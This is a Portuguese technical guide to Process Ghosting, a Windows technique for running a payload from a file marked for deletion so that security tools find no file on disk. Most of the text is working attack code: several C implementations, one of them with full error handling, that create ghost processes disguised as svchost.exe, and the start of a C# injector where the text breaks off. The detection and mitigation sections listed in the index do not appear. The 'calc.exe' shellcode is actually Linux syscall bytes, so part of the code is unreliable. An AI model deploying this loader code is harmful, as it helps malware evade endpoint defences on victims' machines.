# Process Ghosting

## 📑 **Índice**

1. [Fundamentos do Process Ghosting](#-fundamentos-do-process-ghosting)
2. [Arquitetura e Mecanismos](#-arquitetura-e-mecanismos)
3. [Técnicas de Exploração](#-técnicas-de-exploração)
4. [Implementação em C/C++](#-implementação-em-cc)
5. [Implementação em C#/.NET](#-implementação-em-cnet)
6. [Implementação em Python](#-implementação-em-python)
7. [Detecção e Monitoramento](#-detecção-e-monitoramento)
8. [Mitigação e Prevenção](#-mitigação-e-prevenção)

***

## 🔍 **Fundamentos do Process Ghosting**

### **O que é Process Ghosting?**

Process Ghosting é uma técnica avançada de evasão de segurança que explora como o Windows cria processos a partir de arquivos executáveis. A técnica permite executar código malicioso sem deixar um arquivo no disco, utilizando o mecanismo de exclusão de arquivos "delete pending" (marcado para exclusão) do Windows. Descoberta por pesquisadores da Elastic Security em 2021, o Process Ghosting é considerado uma evolução do Process Doppelgänging.

### **Origem do Nome**

O termo "Ghosting" refere-se ao fato de que o processo parece "fantasma" - ele existe e executa código, mas o arquivo original desaparece do disco, deixando apenas uma "sombra" que não pode ser detectada por soluções de segurança tradicionais.

### **Contexto Histórico**

```yaml
Evolução do Process Ghosting:
  2017: Process Doppelgänging (transações NTFS)
  2018: Process Herpaderping
  2021: Descoberta do Process Ghosting pela Elastic Security
  2021: Apresentado na Black Hat USA
  2022: Implementação em malwares como Qakbot e Raspberry Robin
  2023: Adoção por frameworks C2 (Cobalt Strike, BruteRatel)
  2024: Técnica madura com múltiplas variações
```

### **Comparação com Técnicas Relacionadas**

| Técnica                   | Arquivo no Disco    | Detecção    | Artefatos |
| ------------------------- | ------------------- | ----------- | --------- |
| **Process Hollowing**     | Original preservado | Média       | Moderados |
| **Process Doppelgänging** | Original intacto    | Baixa       | Mínimos   |
| **Process Herpaderping**  | Original modificado | Média       | Moderados |
| **Process Ghosting**      | Arquivo deletado    | Muito Baixa | Mínimos   |

### **Princípio Básico**

```mermaid
graph TD
    A[Atacante] --> B[Cria arquivo no disco]
    B --> C[Escreve payload no arquivo]
    C --> D[Exclui arquivo (delete pending)]
    D --> E[Cria seção de imagem a partir do arquivo]
    E --> F[Cria processo a partir da seção]
    F --> G[Processo executando sem arquivo no disco]
    
    subgraph "Vantagens"
        H[Arquivo deletado]
        I[Sem artefatos no disco]
        J[Bypass de EDRs baseados em arquivo]
    end
```

***

## 🏗️ **Arquitetura e Mecanismos**

### **Mecanismo "Delete Pending" do Windows**

Quando um arquivo é excluído no Windows enquanto ainda está em uso, ele é marcado como "delete pending" (pendente de exclusão). O arquivo permanece no sistema de arquivos até que todos os handles sejam fechados. O Process Ghosting explora esse mecanismo:

1. Criar um arquivo
2. Escrever o payload
3. Excluir o arquivo (agora está em estado "delete pending")
4. Criar uma seção de imagem a partir do arquivo excluído
5. Criar um processo a partir da seção
6. O processo executa enquanto o arquivo original não existe mais no disco

### **APIs Utilizadas**

```c
// APIs principais do Process Ghosting
CreateFile()           // Criar arquivo
WriteFile()            // Escrever payload
SetFileInformationByHandle() // Marcar para exclusão (FileDispositionInfo)
CloseHandle()          // Fechar handle (arquivo é deletado)
CreateFileMapping()    // Criar mapeamento a partir do arquivo excluído
MapViewOfFile()        // Mapear para memória
NtCreateProcess()      // Criar processo a partir da seção
NtCreateThreadEx()     // Criar thread principal
```

### **Fluxo de Execução Detalhado**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant F as Sistema de Arquivos
    participant M as Gerenciador de Memória
    participant P as Processo
    participant E as EDR

    A->>F: CreateFile("temp.exe")
    F-->>A: Handle H1
    
    A->>F: WriteFile(payload)
    
    A->>F: SetFileInformationByHandle(DeleteFile)
    Note over F: Arquivo marcado<br/>para exclusão
    
    A->>F: CloseHandle(H1)
    F->>F: Arquivo deletado<br/>(delete pending)
    
    A->>F: CreateFileMapping(arquivo deletado)
    F-->>A: Handle da seção
    
    A->>M: MapViewOfFile(seção)
    M-->>A: View da memória
    
    A->>P: NtCreateProcess(seção)
    P-->>A: Processo criado
    
    Note over P,E: Processo executando<br/>Arquivo não existe no disco<br/>Sem artefatos para EDRs
```

***

## ⚔️ **Técnicas de Exploração**

### **1. Process Ghosting Básico**

```c
#include <windows.h>
#include <winternl.h>
#include <stdio.h>

#pragma comment(lib, "ntdll.lib")

// Estrutura para informações de disposição de arquivo
typedef struct _FILE_DISPOSITION_INFO {
    BOOLEAN DeleteFile;
} FILE_DISPOSITION_INFO, *PFILE_DISPOSITION_INFO;

// Shellcode de exemplo (calc.exe)
unsigned char shellcode[] = 
"\x48\x31\xc0\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48"
"\x89\xe2\x48\x31\xc0\x50\x48\x8d\x52\x04\x48\x89\xe1\x48\x31\xc0"
"\xb0\x3b\x0f\x05";

SIZE_T shellcodeSize = sizeof(shellcode);

// Função para criar processo fantasma
BOOL ProcessGhosting(LPCWSTR targetPath) {
    HANDLE hFile = INVALID_HANDLE_VALUE;
    HANDLE hSection = NULL;
    HANDLE hProcess = NULL;
    HANDLE hThread = NULL;
    DWORD bytesWritten;
    NTSTATUS status;
    
    // 1. Criar arquivo
    hFile = CreateFileW(targetPath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFile failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] File created: %S\n", targetPath);
    
    // 2. Escrever payload
    if (!WriteFile(hFile, shellcode, shellcodeSize, &bytesWritten, NULL)) {
        printf("[-] WriteFile failed: %lu\n", GetLastError());
        CloseHandle(hFile);
        return FALSE;
    }
    printf("[+] Payload written (%lu bytes)\n", bytesWritten);
    
    // 3. Marcar para exclusão (delete pending)
    FILE_DISPOSITION_INFO fdi;
    fdi.DeleteFile = TRUE;
    
    if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &fdi, sizeof(fdi))) {
        printf("[-] SetFileInformationByHandle failed: %lu\n", GetLastError());
        CloseHandle(hFile);
        return FALSE;
    }
    printf("[+] File marked for deletion\n");
    
    // 4. Criar seção a partir do arquivo (ainda aberto)
    hSection = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    if (!hSection) {
        printf("[-] CreateFileMapping failed: %lu\n", GetLastError());
        CloseHandle(hFile);
        return FALSE;
    }
    printf("[+] Section created\n");
    
    // 5. Fechar arquivo - agora é deletado
    CloseHandle(hFile);
    printf("[+] File closed and deleted\n");
    
    // 6. Criar processo a partir da seção
    status = NtCreateProcess(&hProcess, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(),
                              0, hSection, NULL, NULL, NULL);
    
    if (status != 0) {
        printf("[-] NtCreateProcess failed: 0x%08X\n", status);
        CloseHandle(hSection);
        return FALSE;
    }
    printf("[+] Process created from deleted file\n");
    
    // 7. Configurar parâmetros do processo e criar thread
    // (Simplificado - ver implementação completa abaixo)
    
    CloseHandle(hSection);
    CloseHandle(hProcess);
    
    return TRUE;
}
```

### **2. Process Ghosting Completo com Parâmetros**

```c
// process_ghosting_full.c
// Implementação completa com parâmetros do processo

#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "ntdll.lib")

// Estruturas NT
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    ULONG DebugFlags;
    HANDLE ConsoleHandle;
    ULONG ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;
    UNICODE_STRING CurrentDirectoryPath;
    HANDLE CurrentDirectoryHandle;
    UNICODE_STRING DllPath;
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
    PVOID Environment;
    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;
    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;
    UNICODE_STRING DesktopInfo;
    UNICODE_STRING ShellInfo;
    UNICODE_STRING RuntimeData;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

typedef struct _PEB {
    BOOLEAN InheritedAddressSpace;
    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;
    BOOLEAN Spare;
    HANDLE Mutant;
    PVOID ImageBaseAddress;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
} PEB, *PPEB;

typedef struct _FILE_DISPOSITION_INFO {
    BOOLEAN DeleteFile;
} FILE_DISPOSITION_INFO, *PFILE_DISPOSITION_INFO;

// Typedefs para funções NT
typedef NTSTATUS (NTAPI* pNtCreateProcessEx)(
    PHANDLE ProcessHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ParentProcess,
    ULONG Flags,
    HANDLE SectionHandle,
    HANDLE DebugPort,
    HANDLE ExceptionPort,
    ULONG_PTR Unknown
);

typedef NTSTATUS (NTAPI* pNtCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ProcessHandle,
    PVOID StartRoutine,
    PVOID Argument,
    ULONG CreateFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    PVOID AttributeList
);

typedef NTSTATUS (NTAPI* pRtlCreateProcessParametersEx)(
    PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,
    PUNICODE_STRING ImagePathName,
    PUNICODE_STRING DllPath,
    PUNICODE_STRING CurrentDirectory,
    PUNICODE_STRING CommandLine,
    PVOID Environment,
    PUNICODE_STRING WindowTitle,
    PUNICODE_STRING DesktopInfo,
    PUNICODE_STRING ShellInfo,
    PUNICODE_STRING RuntimeData,
    ULONG Flags
);

typedef VOID (NTAPI* pRtlDestroyProcessParameters)(
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters
);

// Obter endereço de entrada do payload
DWORD_PTR GetEntryPoint(LPVOID payloadBase) {
    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)payloadBase;
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return 0;
    
    IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)payloadBase + dosHeader->e_lfanew);
    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return 0;
    
    return (DWORD_PTR)payloadBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
}

// Process Ghosting completo
BOOL ProcessGhostingFull(LPCWSTR targetExe, LPCWSTR tempPath, 
                          unsigned char* payload, SIZE_T payloadSize) {
    HANDLE hFile = INVALID_HANDLE_VALUE;
    HANDLE hSection = NULL;
    HANDLE hProcess = NULL;
    HANDLE hThread = NULL;
    PVOID pImageBase = NULL;
    PRTL_USER_PROCESS_PARAMETERS pParams = NULL;
    UNICODE_STRING imagePath;
    UNICODE_STRING commandLine;
    NTSTATUS status;
    DWORD bytesWritten;
    
    // Carregar funções NT
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    pNtCreateProcessEx NtCreateProcessEx = (pNtCreateProcessEx)GetProcAddress(hNtdll, "NtCreateProcessEx");
    pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
    pRtlCreateProcessParametersEx RtlCreateProcessParametersEx = 
        (pRtlCreateProcessParametersEx)GetProcAddress(hNtdll, "RtlCreateProcessParametersEx");
    pRtlDestroyProcessParameters RtlDestroyProcessParameters = 
        (pRtlDestroyProcessParameters)GetProcAddress(hNtdll, "RtlDestroyProcessParameters");
    
    if (!NtCreateProcessEx || !NtCreateThreadEx || !RtlCreateProcessParametersEx) {
        printf("[-] Failed to get NTDLL functions\n");
        return FALSE;
    }
    
    // 1. Criar arquivo
    hFile = CreateFileW(tempPath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFile failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] File created: %S\n", tempPath);
    
    // 2. Escrever payload
    if (!WriteFile(hFile, payload, payloadSize, &bytesWritten, NULL)) {
        printf("[-] WriteFile failed: %lu\n", GetLastError());
        CloseHandle(hFile);
        return FALSE;
    }
    printf("[+] Payload written (%lu bytes)\n", bytesWritten);
    
    // 3. Marcar para exclusão (delete pending)
    FILE_DISPOSITION_INFO fdi;
    fdi.DeleteFile = TRUE;
    
    if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &fdi, sizeof(fdi))) {
        printf("[-] SetFileInformationByHandle failed: %lu\n", GetLastError());
        CloseHandle(hFile);
        return FALSE;
    }
    printf("[+] File marked for deletion\n");
    
    // 4. Criar seção a partir do arquivo (ainda aberto)
    hSection = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    if (!hSection) {
        printf("[-] CreateFileMapping failed: %lu\n", GetLastError());
        CloseHandle(hFile);
        return FALSE;
    }
    printf("[+] Section created from pending delete file\n");
    
    // 5. Fechar arquivo - agora é deletado
    CloseHandle(hFile);
    printf("[+] File closed and deleted\n");
    
    // 6. Mapear seção para obter informações do PE
    pImageBase = MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0);
    if (!pImageBase) {
        printf("[-] MapViewOfFile failed\n");
        CloseHandle(hSection);
        return FALSE;
    }
    
    // 7. Criar processo a partir da seção
    status = NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(),
                                0, hSection, NULL, NULL, 0);
    
    if (status != 0) {
        printf("[-] NtCreateProcessEx failed: 0x%08X\n", status);
        UnmapViewOfFile(pImageBase);
        CloseHandle(hSection);
        return FALSE;
    }
    printf("[+] Process created from deleted file\n");
    
    // 8. Configurar parâmetros do processo
    RtlInitUnicodeString(&imagePath, targetExe);
    RtlInitUnicodeString(&commandLine, targetExe);
    
    status = RtlCreateProcessParametersEx(&pParams, &imagePath, NULL, NULL,
                                           &commandLine, NULL, NULL, NULL,
                                           NULL, NULL, 0);
    
    if (status != 0) {
        printf("[-] RtlCreateProcessParametersEx failed: 0x%08X\n", status);
        NtTerminateProcess(hProcess, 0);
        UnmapViewOfFile(pImageBase);
        CloseHandle(hProcess);
        CloseHandle(hSection);
        return FALSE;
    }
    
    // 9. Atualizar PEB do processo
    PROCESS_BASIC_INFORMATION pbi;
    NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
    
    if (pbi.PebBaseAddress) {
        PPEB peb = (PPEB)pbi.PebBaseAddress;
        peb->ProcessParameters = pParams;
        peb->ImageBaseAddress = pImageBase;
    }
    printf("[+] Process parameters configured\n");
    
    // 10. Criar thread principal
    DWORD_PTR entryPoint = GetEntryPoint(pImageBase);
    if (!entryPoint) {
        printf("[-] Failed to get entry point\n");
        RtlDestroyProcessParameters(pParams);
        NtTerminateProcess(hProcess, 0);
        UnmapViewOfFile(pImageBase);
        CloseHandle(hProcess);
        CloseHandle(hSection);
        return FALSE;
    }
    
    status = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess,
                               (LPTHREAD_START_ROUTINE)entryPoint, NULL,
                               0, 0, 0, 0, NULL);
    
    if (status != 0) {
        printf("[-] NtCreateThreadEx failed: 0x%08X\n", status);
        RtlDestroyProcessParameters(pParams);
        NtTerminateProcess(hProcess, 0);
        UnmapViewOfFile(pImageBase);
        CloseHandle(hProcess);
        CloseHandle(hSection);
        return FALSE;
    }
    printf("[+] Main thread created at entry point 0x%p\n", (PVOID)entryPoint);
    
    // 11. Limpeza
    CloseHandle(hThread);
    CloseHandle(hProcess);
    CloseHandle(hSection);
    UnmapViewOfFile(pImageBase);
    
    printf("[+] Process Ghosting successful! Payload running without file on disk\n");
    return TRUE;
}

// Payload de exemplo (calc.exe)
unsigned char payload[] = 
"\x48\x31\xc0\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48"
"\x89\xe2\x48\x31\xc0\x50\x48\x8d\x52\x04\x48\x89\xe1\x48\x31\xc0"
"\xb0\x3b\x0f\x05";

int main(int argc, char** argv) {
    printf("=== Process Ghosting ===\n\n");
    
    // Criar arquivo temporário
    WCHAR tempPath[MAX_PATH];
    GetTempPathW(MAX_PATH, tempPath);
    wcscat(tempPath, L"temp_ghost.exe");
    
    LPCWSTR targetExe = L"C:\\Windows\\System32\\svchost.exe";
    
    if (ProcessGhostingFull(targetExe, tempPath, payload, sizeof(payload))) {
        printf("[+] Payload executed as a ghost process!\n");
        printf("[+] No file remains on disk\n");
    } else {
        printf("[-] Process Ghosting failed\n");
    }
    
    return 0;
}
```

### **3. Process Ghosting com Arquivo em Uso**

```c
// Técnica com múltiplos handles para manter arquivo
BOOL ProcessGhostingWithMultipleHandles(LPCWSTR tempPath, unsigned char* payload, SIZE_T payloadSize) {
    HANDLE hFiles[3];
    HANDLE hSection = NULL;
    HANDLE hProcess = NULL;
    HANDLE hThread = NULL;
    
    // Criar múltiplos handles para o mesmo arquivo
    for (int i = 0; i < 3; i++) {
        hFiles[i] = CreateFileW(tempPath,
            GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            NULL,
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            NULL);
        
        if (hFiles[i] == INVALID_HANDLE_VALUE) {
            printf("[-] CreateFile %d failed\n", i);
            return FALSE;
        }
    }
    
    // Escrever payload no primeiro handle
    DWORD bytesWritten;
    WriteFile(hFiles[0], payload, payloadSize, &bytesWritten, NULL);
    SetEndOfFile(hFiles[0]);
    printf("[+] Payload written\n");
    
    // Marcar para exclusão usando um handle
    FILE_DISPOSITION_INFO fdi;
    fdi.DeleteFile = TRUE;
    SetFileInformationByHandle(hFiles[0], FileDispositionInfo, &fdi, sizeof(fdi));
    printf("[+] File marked for deletion\n");
    
    // Fechar o handle que marcou para exclusão
    CloseHandle(hFiles[0]);
    
    // Criar seção a partir de outro handle (ainda válido)
    hSection = CreateFileMapping(hFiles[1], NULL, PAGE_READONLY, 0, 0, NULL);
    if (!hSection) {
        printf("[-] CreateFileMapping failed\n");
        return FALSE;
    }
    printf("[+] Section created from open handle\n");
    
    // Criar processo a partir da seção
    NtCreateProcess(&hProcess, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(),
                    0, hSection, NULL, NULL, NULL);
    
    if (!hProcess) {
        printf("[-] NtCreateProcess failed\n");
        CloseHandle(hSection);
        return FALSE;
    }
    printf("[+] Process created\n");
    
    // Fechar handles restantes
    CloseHandle(hFiles[1]);
    CloseHandle(hFiles[2]);
    
    // Configurar e executar (similar ao exemplo anterior)
    // ...
    
    return TRUE;
}
```

### **4. Process Ghosting com Suspended Thread**

```c
// Criar processo suspenso e depois retomar
BOOL ProcessGhostingSuspended(LPCWSTR tempPath, unsigned char* payload, SIZE_T payloadSize) {
    HANDLE hFile;
    HANDLE hSection;
    HANDLE hProcess;
    HANDLE hThread;
    
    // Criar e excluir arquivo (como antes)
    hFile = CreateFileW(tempPath, GENERIC_READ | GENERIC_WRITE,
                        FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
                        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    
    WriteFile(hFile, payload, payloadSize, NULL, NULL);
    SetEndOfFile(hFile);
    
    FILE_DISPOSITION_INFO fdi = { TRUE };
    SetFileInformationByHandle(hFile, FileDispositionInfo, &fdi, sizeof(fdi));
    
    hSection = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    CloseHandle(hFile);
    
    // Criar processo suspenso
    NtCreateProcess(&hProcess, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(),
                    0, hSection, NULL, NULL, NULL);
    
    CloseHandle(hSection);
    
    // Criar thread suspensa
    DWORD_PTR entryPoint = GetEntryPoint(payload); // Na prática, do mapeamento
    NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess,
                      (LPTHREAD_START_ROUTINE)entryPoint, NULL,
                      0x4, 0, 0, 0, NULL); // CREATE_SUSPENDED
    
    // Opcional: modificar contexto antes de retomar
    CONTEXT ctx = { CONTEXT_FULL };
    GetThreadContext(hThread, &ctx);
    // Modificar contexto se necessário
    SetThreadContext(hThread, &ctx);
    
    // Retomar thread
    ResumeThread(hThread);
    
    CloseHandle(hThread);
    CloseHandle(hProcess);
    
    return TRUE;
}
```

***

## 🔧 **Implementação em C/C++**

### **Process Ghosting Full Implementation com Tratamento de Erros**

```c
// process_ghosting_advanced.c
// Implementação completa com validações e tratamento de erros

#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "advapi32.lib")

// Estruturas e definições
typedef struct _GHOSTING_CONTEXT {
    HANDLE hFile;
    HANDLE hSection;
    HANDLE hProcess;
    HANDLE hThread;
    PVOID pImageBase;
    PRTL_USER_PROCESS_PARAMETERS pParams;
    WCHAR tempPath[MAX_PATH];
    DWORD payloadSize;
} GHOSTING_CONTEXT, *PGHOSTING_CONTEXT;

// Verificar se o sistema suporta Process Ghosting
BOOL IsProcessGhostingSupported() {
    OSVERSIONINFOW osvi = { sizeof(osvi) };
    GetVersionExW(&osvi);
    
    // Windows 10 1809+ (build 17763)
    return (osvi.dwMajorVersion >= 10 && osvi.dwBuildNumber >= 17763);
}

// Criar arquivo fantasma
BOOL CreateGhostFile(PGHOSTING_CONTEXT ctx, unsigned char* payload, SIZE_T payloadSize) {
    // Gerar nome de arquivo temporário
    GetTempPathW(MAX_PATH, ctx->tempPath);
    GetTempFileNameW(ctx->tempPath, L"ghost", 0, ctx->tempPath);
    
    ctx->hFile = CreateFileW(ctx->tempPath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    
    if (ctx->hFile == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFile failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Ghost file created: %S\n", ctx->tempPath);
    
    // Escrever payload
    DWORD bytesWritten;
    if (!WriteFile(ctx->hFile, payload, payloadSize, &bytesWritten, NULL)) {
        printf("[-] WriteFile failed: %lu\n", GetLastError());
        return FALSE;
    }
    
    if (!SetEndOfFile(ctx->hFile)) {
        printf("[-] SetEndOfFile failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Payload written (%lu bytes)\n", bytesWritten);
    
    // Marcar para exclusão
    FILE_DISPOSITION_INFO fdi = { TRUE };
    if (!SetFileInformationByHandle(ctx->hFile, FileDispositionInfo, &fdi, sizeof(fdi))) {
        printf("[-] SetFileInformationByHandle failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] File marked for deletion\n");
    
    return TRUE;
}

// Criar seção do arquivo fantasma
BOOL CreateGhostSection(PGHOSTING_CONTEXT ctx) {
    ctx->hSection = CreateFileMapping(ctx->hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    if (!ctx->hSection) {
        printf("[-] CreateFileMapping failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Section created from pending delete file\n");
    
    // Fechar arquivo - agora é deletado
    CloseHandle(ctx->hFile);
    ctx->hFile = INVALID_HANDLE_VALUE;
    printf("[+] File closed and deleted\n");
    
    // Mapear seção para obter informações do PE
    ctx->pImageBase = MapViewOfFile(ctx->hSection, FILE_MAP_READ, 0, 0, 0);
    if (!ctx->pImageBase) {
        printf("[-] MapViewOfFile failed\n");
        return FALSE;
    }
    
    return TRUE;
}

// Criar processo a partir da seção
BOOL CreateGhostProcess(PGHOSTING_CONTEXT ctx, LPCWSTR targetExe) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    pNtCreateProcessEx NtCreateProcessEx = (pNtCreateProcessEx)GetProcAddress(hNtdll, "NtCreateProcessEx");
    
    NTSTATUS status = NtCreateProcessEx(&ctx->hProcess, PROCESS_ALL_ACCESS, NULL, 
                                         GetCurrentProcess(), 0, ctx->hSection, 
                                         NULL, NULL, 0);
    
    if (status != 0) {
        printf("[-] NtCreateProcessEx failed: 0x%08X\n", status);
        return FALSE;
    }
    printf("[+] Process created from deleted file\n");
    
    // Configurar parâmetros do processo
    pRtlCreateProcessParametersEx RtlCreateProcessParametersEx = 
        (pRtlCreateProcessParametersEx)GetProcAddress(hNtdll, "RtlCreateProcessParametersEx");
    
    UNICODE_STRING imagePath;
    UNICODE_STRING commandLine;
    RtlInitUnicodeString(&imagePath, targetExe);
    RtlInitUnicodeString(&commandLine, targetExe);
    
    status = RtlCreateProcessParametersEx(&ctx->pParams, &imagePath, NULL, NULL,
                                           &commandLine, NULL, NULL, NULL,
                                           NULL, NULL, 0);
    
    if (status != 0) {
        printf("[-] RtlCreateProcessParametersEx failed: 0x%08X\n", status);
        return FALSE;
    }
    
    // Atualizar PEB
    PROCESS_BASIC_INFORMATION pbi;
    NtQueryInformationProcess(ctx->hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
    
    if (pbi.PebBaseAddress) {
        PPEB peb = (PPEB)pbi.PebBaseAddress;
        peb->ProcessParameters = ctx->pParams;
        peb->ImageBaseAddress = ctx->pImageBase;
    }
    printf("[+] Process parameters configured\n");
    
    return TRUE;
}

// Criar thread principal
BOOL CreateGhostThread(PGHOSTING_CONTEXT ctx) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
    
    DWORD_PTR entryPoint = GetEntryPoint(ctx->pImageBase);
    if (!entryPoint) {
        printf("[-] Failed to get entry point\n");
        return FALSE;
    }
    
    NTSTATUS status = NtCreateThreadEx(&ctx->hThread, THREAD_ALL_ACCESS, NULL,
                                        ctx->hProcess, (LPTHREAD_START_ROUTINE)entryPoint,
                                        NULL, 0, 0, 0, 0, NULL);
    
    if (status != 0) {
        printf("[-] NtCreateThreadEx failed: 0x%08X\n", status);
        return FALSE;
    }
    printf("[+] Main thread created at 0x%p\n", (PVOID)entryPoint);
    
    return TRUE;
}

// Função principal de injeção
BOOL ProcessGhosting(LPCWSTR targetExe, unsigned char* payload, SIZE_T payloadSize) {
    GHOSTING_CONTEXT ctx = {0};
    BOOL success = FALSE;
    
    printf("[*] Process Ghosting starting\n");
    printf("[*] Target executable: %S\n", targetExe);
    
    if (!IsProcessGhostingSupported()) {
        printf("[-] Process Ghosting not supported on this Windows version\n");
        return FALSE;
    }
    
    // Criar arquivo fantasma
    if (!CreateGhostFile(&ctx, payload, payloadSize)) goto cleanup;
    
    // Criar seção
    if (!CreateGhostSection(&ctx)) goto cleanup;
    
    // Criar processo
    if (!CreateGhostProcess(&ctx, targetExe)) goto cleanup;
    
    // Criar thread
    if (!CreateGhostThread(&ctx)) goto cleanup;
    
    success = TRUE;
    printf("[+] Process Ghosting successful!\n");
    printf("[+] Payload running as ghost process - no file on disk\n");
    
cleanup:
    // Limpeza
    if (ctx.hThread) CloseHandle(ctx.hThread);
    if (ctx.hProcess) CloseHandle(ctx.hProcess);
    if (ctx.pImageBase) UnmapViewOfFile(ctx.pImageBase);
    if (ctx.hSection) CloseHandle(ctx.hSection);
    if (ctx.hFile != INVALID_HANDLE_VALUE) CloseHandle(ctx.hFile);
    if (ctx.pParams) {
        pRtlDestroyProcessParameters RtlDestroyProcessParameters = 
            (pRtlDestroyProcessParameters)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), 
                                                          "RtlDestroyProcessParameters");
        if (RtlDestroyProcessParameters) {
            RtlDestroyProcessParameters(ctx.pParams);
        }
    }
    
    return success;
}

// Payload (calc.exe)
unsigned char payload[] = 
"\x48\x31\xc0\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48"
"\x89\xe2\x48\x31\xc0\x50\x48\x8d\x52\x04\x48\x89\xe1\x48\x31\xc0"
"\xb0\x3b\x0f\x05";

int main() {
    printf("=== Process Ghosting Advanced ===\n\n");
    
    LPCWSTR targetExe = L"C:\\Windows\\System32\\svchost.exe";
    
    if (ProcessGhosting(targetExe, payload, sizeof(payload))) {
        printf("\n[+] Check task manager - process is running\n");
        printf("[+] Check file system - no file exists!\n");
    } else {
        printf("[-] Process Ghosting failed\n");
    }
    
    return 0;
}
```

***

## 🚀 **Implementação em C#/.NET**

```csharp
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;

class ProcessGhostingInjector
{
    // Windows API imports
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess,
                                     uint dwShareMode, IntPtr lpSecurityAttributes,
                                     uint dwCreationDisposition, uint dwFlagsAndAttributes,
                                     IntPtr hTemplateFile);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool WriteFile(IntPtr hFile, byte[] lpBuffer, uint nNumberOfBytesToWrite,
                                  out uint lpNumberOfBytesWritten, IntPtr lpOverlapped);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool SetEndOfFile(IntPtr hFile);
    
    [DllImport("kernel32.dll", SetLastError = true)]
